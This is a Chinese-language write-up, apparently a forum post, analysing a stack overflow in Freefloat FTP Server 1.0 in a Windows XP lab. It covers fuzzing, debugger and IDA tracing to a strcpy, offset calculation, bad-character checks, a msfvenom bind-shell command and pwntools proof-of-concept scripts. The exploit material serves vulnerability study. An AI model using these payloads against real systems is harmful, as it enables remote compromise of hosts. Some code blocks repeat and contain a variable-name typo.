-
-
[原创]Freefloat FTP Server1.0栈溢出漏洞分析
-
发表于: 2021-3-24 15:06 12786
-
freefloatftpserver1.0 用于打开ftp服务,用于上传文件和管理有线及无线设备的软件
freefloatftpserver1.0
使用两种工具Infigo FTPStress Fuzzer和Metasploit都能测试出溢出漏洞存在
在windowsXP运行漏洞程序,程序打开ftp服务,并监听21号端口

ftpfuzz触发漏洞


eip指向fuzz发送的测试数组‘AAAA‘,程序执行流已被更改,存在溢出漏洞
攻击机kali运行metasploit,运行如下命令
运行结果


靶机崩溃,eip指向未知内存地址,可以溢出
最简单的栈溢出,jmp esp作为跳板跳转到栈中执行
在靶机用Immunity Debugger打开freefloatftpserver1.0运行调试

在kali攻击机用pwntools编写脚本,向ftp服务器的USER输入点发送数据包测试
程序崩溃,eip指向0x41414141,由发送的数据A的ascii码为0x41可知,USER输入点存在溢出漏洞

输入用户名之前,程序会输出一条ftp服务器版本的语句,在immunity debugger中定位输出这句话的函数,从而缩小定位漏洞函数的范围

查询字符串

在wsprintw函数设置断点

重新发送payload,单步调试,直到运行到出现异常的函数freefloa.004020E0

在freefloa.004020E0函数设置断点,重新发送payload,f7单步步入此函数

重复上述操作,接着在freefloa.00402190函数设置断点,单步步入,程序会在运行到00402881处跳转到004028EB处执行,之后调用freefloa.00402DE0函数,程序崩溃

在freefloa.00402DE0函数设置断点,步入之后未发现存在子函数,并且在返回的时候执行retn 8指令

观察此时esp指向的返回地址为0x41414141,执行retn命令之后eip指向0x41414141,使得程序崩溃

得出结论:freefloa.00402DE0函数可能出现栈溢出
用IDA加载程序进行静态分析,定位到函数sub_00402DE0

Strcpy函数存在溢出漏洞,将函数第三个参数a3的值复制到局部变量v8中,如果a3过长,会覆盖返回地址,那sub_00402DE0函数的参数a2,a3到底是什么?这就回溯到调用此函数的位置了,通过之前动态分析可以得到调用函数为00402190,IDA静态分析分析得Sub_00402190将输入的字符串与各种ftp命令进行比较,根据命令进行不同的响应。
用immunity debugger回溯到sub_00402190函数里的00402881地址,这个地址的指令跳转执行漏洞函数00402DE0,查看栈帧能够获得参数

在IDA中定位,aXommandNotUnde就是上图的command not understood字符串,此处跳转执行402DE0


参数1 V16是输入字符串长度,参数2 v17是输入字符串‘AAAA‘:command not understood’ 查看函数栈帧可验证

结论:函数sub_402DE0栈帧结构,(ebp实际不存在,只是方便记录相对偏移)

只需填充0xFC-1个垃圾数据可溢出到函数返回地址(-1是因为程序在输入字符串前添加了单引号),重新组织poc,返回地址为cccc
返回地址为0x63636363,是cccc的ascii码,验证成功

Windows xp sp3未开启DEP保护
在生成shellcode之前需要确定坏字符,用mona生成一个0x00到0xff的bytearray,发送payload,比对哪个字符发送后会破坏payload,将其排除即可
利用metasploit生成windows反弹shell的shellcode,排除坏数据’\x00\x0a\x0d’,以c语言格式输出,靶机IP192.168.112.146
msfvenom -p windows/shell_bind_tcp LHOSTS=192.168.112.146 LPORT=4444 -b '\x00\x0a\x0d' -f c

使用mona插件查询jmp esp指令的地址

从中选择一个地址0x77D29353,作为跳板,跳转到栈上执行shellcode

最终Exploit.py
注:shellcode前16个\x90是因为函数返回时的retn 8需要跳过,也可作为滑板,同时作为缓冲区防止执行shellcode时更改内存使得shellcode执行代码也被更改
执行流程:

栈帧结构:

Shellcode使靶机开放4444端口进行shell连接攻击机,连接成功

- Freefloat FTP Server1.0栈溢出漏洞分析
- 一、漏洞信息
- 1. 漏洞简述
- 2. 组件概述
- 3. 漏洞影响
- 二、漏洞复现
- 1. 环境搭建
- 2. 复现过程
- 2.1 Infigo FTPStress Fuzzer测试
- 2.2 metasploit的ftp fuzz测试
- 三、漏洞分析
- 1. 背景知识
- 2. 详细分析
- 2.1 Immunity Debugger调试
- 2.2 python发包测试
- 2.3 定位溢出点
- 2.4 静态分析结合动态分析
- 3. 漏洞利用
- 1. 利用条件
- 2. 利用过程
- 1. 排除坏字符
- 2. 生成shellcode
- 3. 内存中查找jmp esp命令
- 4. 编写exploit
- 四、参考文献
#打开metasploitmsfconsole#查询可用的fuzzsearch fuzzing#使用ftp fuzz模块use auxiliary/fuzzers/ftp/ftp_pre_post
#设置靶机set RHOST 192.168.112.146
#漏洞利用exploit#打开metasploitmsfconsole#查询可用的fuzzsearch fuzzing#使用ftp fuzz模块use auxiliary/fuzzers/ftp/ftp_pre_post
#设置靶机set RHOST 192.168.112.146
#漏洞利用exploitfrom pwn import *
p = remote("192.168.112.146", 21)
paylad = 'A'*500
p.sendline(payload)p.interactive()from pwn import *
p = remote("192.168.112.146", 21)
paylad = 'A'*500
p.sendline(payload)p.interactive()from pwn import *
p = remote("192.168.112.146", 21)
payload = 'A'*(0xfc-1) + 'cccc'
p.sendline(payload)p.interactive()from pwn import *
[培训]科锐软件逆向54期预科班、正式班开始火爆招生报名啦!!!